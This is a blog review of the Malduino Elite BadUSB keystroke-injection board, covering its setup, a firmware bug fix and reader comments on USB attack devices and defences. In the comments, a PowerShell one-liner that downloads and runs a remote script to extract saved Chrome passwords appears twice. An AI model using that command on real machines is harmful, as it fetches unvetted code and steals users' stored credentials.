A while back, I wrote an article about Malduino, an Arduino-based, open-source BadUSB device. I found the project interesting so I signed up for an Elite version and sure enough, the friendly postman dropped it off in my mail box last Friday, which means I got to play around with it over the weekend. For those who missed the article, Malduino is USB device which is able to emulate a keyboard and inject keystrokes, among other things. When in a proper casing, it will just look like a USB flash drive. It’s like those things you see in the movies where a guy plugs in a device and it auto hacks the computer. It ships in two versions, Lite and Elite, both based on the ATmega32U4.
The Lite version is really small, besides the USB connector it only contains a switch, which allows the user to choose between running and programming mode, and a LED, which indicates when the script has finished running.
The Elite version is bigger, comes with a Micro-SD card reader and four DIP switches, which allow the user to choose which script to run from the card. It also has the LED, which indicates when a script has finished to run. This allows the user to burn the firmware only once and then program the keystroke injection scripts that stored in the Micro-SD card, in contrast to the Lite version which needs to be flashed each time a user wants to run a different script.
These are the two Malduinos and because they are programmed straight from the Arduino IDE, every feature I just mentioned can be re-programmed, re-purposed or dropped all together. You can buy one and just choose to use it like a ‘normal’ Arduino, although there are not a lot of pins to play around with. This freedom was one the first things I liked about it and actually drove me to participate in the crowd-funding campaign. Read on for the full review.
The Hardware
So the Elite board arrived as schedule and I found myself some time to look an it. Despite being longer than the Lite version, it’s still quite small, measuring roughly 4.6 cm x 1.1 cm (around 1.8 in x 0.43 in), which you can easily adapt to an old USB case, although you’ll have to cut some holes for the DIP switches and the Micro-SD card. In the crowd-funding campaign, the original sketch was for a 3 DIP switch version but the final Elite has four, which I found nice. I plugged it in to an old computer, after some consideration about which firmware it could ship with and what it could do to my laptop, and sure enough a red LED appeared. And that was it. Nothing else.
After playing around with the switches and exercising some RTFM, I realised that the firmware it ships with is probably some sort of Q.C. test for the dips, which makes the Malduino output the numbers 1 to 4 (actually simulating a keypress 1 to 4), depending on which switches are ON. So far so good, it works and I’ve seen worse PCB boards than this one. The board has holes for six pins, which I did not trace to the micro-controller and I don’t know what they are for.
The Setup
Setting up the Malduino requires that you have the Arduino IDE installed and up to date. You’ll need to open up the board manager and install the Sparkfun boards since the Elite is programmed as a ‘Sparkfun Pro Micro’ running at 3.3 V and 8 MHz. Then you need to go the Malduino Script Converter website which serves several purposes:
- It allows to convert scripts between the Lite and Elite versions
- It allows you to choose your keyboard layout language
- It auto generates the Arduino project for you to import to the IDE
For the Elite version, just create a simple or even empty script to download the project, since when in ‘normal’ operation you will just flash the Malduino once and then use the Micro-SD card to store new scripts.
A note on flashing, if you are using a Debian-based distribution you might come across some problems like I did and not be able to flash the device. Like the user on this most useful post, my modem-manager was trying to talk with the Malduino after every reset and confused AVRDUDE to death. The solution is to add udev rules to “/etc/udev/rules.d/77-mm-usb-device-blacklist-local.rules”, kudos to [socrim]:
ACTION!="add|change", GOTO="mm_usb_device_blacklist_local_end" SUBSYSTEM!="usb", GOTO="mm_usb_device_blacklist_local_end" ENV{DEVTYPE}!="usb_device", GOTO="mm_usb_device_blacklist_local_end" ATTRS{idVendor}=="1b4f" ATTRS{idProduct}=="9204", ENV{ID_MM_DEVICE_IGNORE}="1" ATTRS{idVendor}=="1b4f" ATTRS{idProduct}=="9203", ENV{ID_MM_DEVICE_IGNORE}="1" LABEL="mm_usb_device_blacklist_local_end"
The Software
Since I’m running Linux, a quick shortcut to run a command is the ALT-F2 combination. So I script that into a file and save it to 1111.txt
. The Elite searches the Micro-SD card for a file corresponding to the current dip switch state. Lets say the dip switch 2 and 4 are ON. In this case, the software tries to find the file named 0101.txt
and parse its contents (as in dip switch order 1,2,3,4 and not the binary representation of the number 2 and 4) . When it finishes, the red LED starts flashing quickly. My simple script was:
DELAY 2000 ALT F2 DELAY 1000 STRING xterm DELAY 1000 ENTER DELAY 1000 STRING id DELAY 1000 ENTER
But it was not working. Almost all commands worked but the ALT-F2 combo was not functioning properly. Close, but no cigar. No ALT-F2, no run command window. I’ve already lazy-browsed the source code a bit because I really didn’t have a lot of time on my hands but I needed to figure this out. The offending code was this:
else if(equals(s,e,"F1",3)) Keyboard.press(KEY_F1);</pre> else if(equals(s,e,"F2",3)) Keyboard.press(KEY_F2); ... else if(equals(s,e,"F10",3)) Keyboard.press(KEY_F10); else if(equals(s,e,"F11",3)) Keyboard.press(KEY_F11);
A custom equals function was receiving size 3 for the strings of the Function keys, like “F2”. It was ok for “F10”, “F11” and “F12”, but failed for the rest of the keys. Changing 3 to 2 did the trick, but my Portuguese keyboard layout started to interfere with other test scripts. So I changed the code to include PT and UK layouts, changing them in a #define
at compile time.
It would be cool if it was possible to access the SD card from the computer as a regular USB volume. I don’t know exactly how feasible that is, but it does not come with the current firmware. I still wanted to be able to output the content of an arbitrary file on the SD card to the screen, so I added another script function called ECHOFILEHEX
that outputs the content of a file in the SD card as escape characters. For example, if the file a.txt
contains “AAA”, the script command ECHOFILEHEX a.txt
would output “\x41\x41\x41”. This can be useful to echo binary files into printf
or echo -e
, in Linux hosts at least.
Meanwhile, I had some trouble reading the original code. You know, we all have different programming styles. Don’t get me wrong, I’ve been known to write some messed-up spaghetti code. I sometimes browse old projects looking for some libs or classes I coded and wonder ‘who the heck wrote this steaming pile of code?’ Me, it was me. Anyway, I started to change a bit here and there and ended up changing pretty much the entire code. That’s the beauty and the curse of open-source. If you’re curious you can check it out here.
Conclusion
All in all, and despite some bumps, I’m quite pleased with Malduino. It is what I expected: an open platform for BadUSB attacks that’s in its infancy. It’s awesome that we can all tinker with it, modify it, make it better or just make it suit our needs. I hope a real community can start so we can see its full potential emerge. My short list includes simulating other USB devices, better SD card management, and expanding the device via the unused pins. What would you add?
It’s a long way to go and a lot can go wrong, so good luck with the project [Seytonic]!
“It’s like those things you see in the movies where a guy plugs in a device and it auto hacks the computer.”
Scene from Iron Man. You’d think in the future they’d do away with that loophole?
Plain old USB flash drives already do that (at least on Windoze) thanks to autorun.inf and thumbnail vulnerabilities (think Stuxnet).
I don’t think it’s really a loophole. When you plug in a keyboard you expect it to work when you type.
All this has to do is act like a keyboard.
What it should do is ask you to type a few random digits on it. Like when pairing a Bluetooth keyboard. That would be way safer.
Damn it! Clicked report instead of reply. Sorry about that! I wanted to say that it’s pretty easy to avoid the problem by requiring the user to authorize the keyboard. Make the OS ask for a random code, and limit the keyboard’s functionality until the code has been matched.
The one drawback I could see to this is the (admittedly: relatively few) instances I’ve had where a headless unit stopped responding to the network. I had to plug in a keyboard, and type in the restart command.
So, perhaps a BIOS setting that would enable this behavior, on by default?
There’s a thought, would it beneficial to present as a USB keyboard, mouse and display (one of those USB to VGA or whatever ones) then hit windows + P or whatever the shortcut is to output only to the external monitor (for projectors). Is the actual visual output important? Last I checked you can’t get passwords out of chrome via the command line.
lol, sure you can. Chrome stores passwords in sqlite database file, same as cookies. You can extract them locally, or copy whole database + windows WUA Master Keys DPAPI blob if you have a way of cracking local user password for that machine
IEX((new-object net.webclient).downloadstring(“https://raw.githubusercontent.com/et0x/Get-ChromePasswords/master/Get-ChromePasswords.ps1”))
wouldnt run that anywhere but VM, looks like a script, but embeds binary executable with who knows what payload :)
I’ve had a similar idea, using the DisplayLink protocol. Some of the guys at a Polish University (IIRC) created a PoC udlfb implementation based on the Linux kernel driver for the actual hardware, but ran into problems at higher resolutions due to undocumented compression algorithms/protocols.
Nice. I’d add an USB bootloader and a switch to toggle mode. Would make it easy to update the firmware.
> The Lite version is really small, besides the USB connector it only contains a switch, which allows the user to choose between running and programming mode
Did you actually read the article?
Wouldn’t it be quicker to use the Keyboard emulator to setup a usb serial to ram, and write the rest of the large & evil code via serial?
Most things will allow you to hotplug a keyboard and immediately start using it. Other devices are less likely to be allowed.
Most of the computers to be infected won’t have the required USB drivers.
Is there any way you could “type” a driver / binary into a computer?
I’d say so. I’m the old DOS days you could easily do this with DEBUG.EXE. I’d say there are still many ways to do this in Windows. Think a VBS script writing a binary file from hex codes.
Keyboard buffer.
sure, thats why all the infosec people LOOVE PowerShell
for reference look at the script whatsmypass linked earlier in the comments :
IEX((new-object net.webclient).downloadstring(“https://raw.githubusercontent.com/et0x/Get-ChromePasswords/master/Get-ChromePasswords.ps1”))
Check the USaBUSe project (https://github.com/SensePost/USaBUSe).
It registers as a mouse/keyboard, as well as a raw HID interface, types a small initial payload, just enough to access the raw HID interface, then does all its comms over that.
Disclaimer am author.
Nice. I take it you’ve seen their successor to the USB Rubber Ducky, the Bash Bunny? They’ve extended the capabilities to emulate a USB network adapter, a USB mass storage device, and a serial device, along with the keyboard; all of which are controllable through extensions to the Ducky script. The really wicked part is the network adapter presents itself as a no-latency, 2GB bandwidth route to everywhere, so the victim PC reroutes all its network traffic to the bunny. The payloads then redirect their output to the bunny, and no NIDS device ever sees any of the traffic.
But the Dash Bunny is crazy expensive.. The P4wnP1 is a much cheaper option :) https://github.com/mame82/P4wnP1
The unpopulated 6 pin header is very likely to be an AVR ISP header.
If this interests you, also check out the WHID from April Brother. Arduino Leonardo (atmega32u4) connected to an esp12 via the uart.
For $12, including a case, its unbeatable for this kind of fun and games!
got mine, love it http://whid.ninja
No just no. Nobody cares, You are a pathetic skid. Making Fake accounts and spamming seytonic’s YouTube and Indiegogo about this. Also it’s a bad product anyway if you have no clue about the electronics you are using.
Humm, for experiment purposes it could be done with a “chinese leonardos” ( http://s.click.aliexpress.com/e/mQJIyFA ) they look like Arduino Pro Mini, but equipped with an Atmega32U4 microcontroller. Not as small as the pictured, so it will look like a weird “chubby” usb thumb drive
Hello there!
Nice review! I fixed the stupid error with the F keys now.
The problem with the code is that we experience a memory and stability lacks with every added command. I don’t want to make any unecessary changes at the moment before I have time to properly optimize the current code base.
But every user wants some special features. Just like you, the best way to do it is to make a fork and consimize it – that’s the beauty of open source!
So that being said, feel free to contribute to the official GitHub repository here: http://github.com/seytonic/malduino
:)
Hey. How did you manage to fix the F key error? I am having the same problem as well…
I am using a Digispark in KB mode to unlock my kids’ Ubuntu computer early weekend mornings rather than have to drag down to do the deed. I added some blinkenlight on the LED to camouflage what is happening and warned them when the light went steady to pull it out or it would log them back out.
It is a stopgap until I can write something on the machine and maybe pass a handshake and maybe start a timer countdown to logout.
one problem I have had for doing some badusb trickery is that despite #include “DigiKeyboard.h” and #define KEY_DELETE 76
DigiKeyboard.sendKeyStroke(KEY_L, MOD_ALT_LEFT | MOD_CONTROL_LEFT);
does nothing to an Ubuntu machine same with an early try with programming for ctrl, alt, del
What are the key ways this differs from the RubberDucky USB devices from Hak5 ?
The USb Rubber Ducky is very overpriced, at I think 45 dollars. Also, it only supports one script at a time. This means that whenever you want to perform a different attack, you have to plug the sd card into your computer and change the script. With the Malduino Elite however, changing scripts means flipping the DIP switch on the board. Since there are 4 DIP switches, this means that you can store 256 scripts on the Malduino Elite.
2^4 is 16, not 256 ;)
I recieved a flyer from RS components a while ago which had what I thought was their catalog on thumb drive so I plugged it in and you can imagine my surprise as it opened the “run” dialog box typed a line of commands which opened my browser and took me to the RS components web page.
All faster than I could process WTF was going on.
you do realize that plugging a strange usb device in is the computer equivalent of going to a asian countries low end brothel for weeks of unprotected sex in the 90’s don’t you? ie something that no rational person would even consider doing…
I fell victim of the “trusted” source of the material.
If it had have been from some random company yes I agree.
But a “reputable” company providing the USB device packaged with their regular mail out.
I had no reason not to trust the source – I was wrong
Does the Arduino IDE let you program it to act as a USB keyboard that doesn’t also try to act as some other device? When I programmed my Leo to be an ‘SNES controller to keyboard adapter’ it would always prompt for a driver when I used it on a machine without Arduino drivers. On Windows, anyway. I eventually used a Teensy 2, same chip but different firmware, no prompts.
Hi, I am actually currently having this exact issue with my malduino elite.
Grabbed the hello world script, works fine on my comp because I installed the sparkfun drivers. When trying it on any other computer, driver installation fails, and the script doesn’t get executed.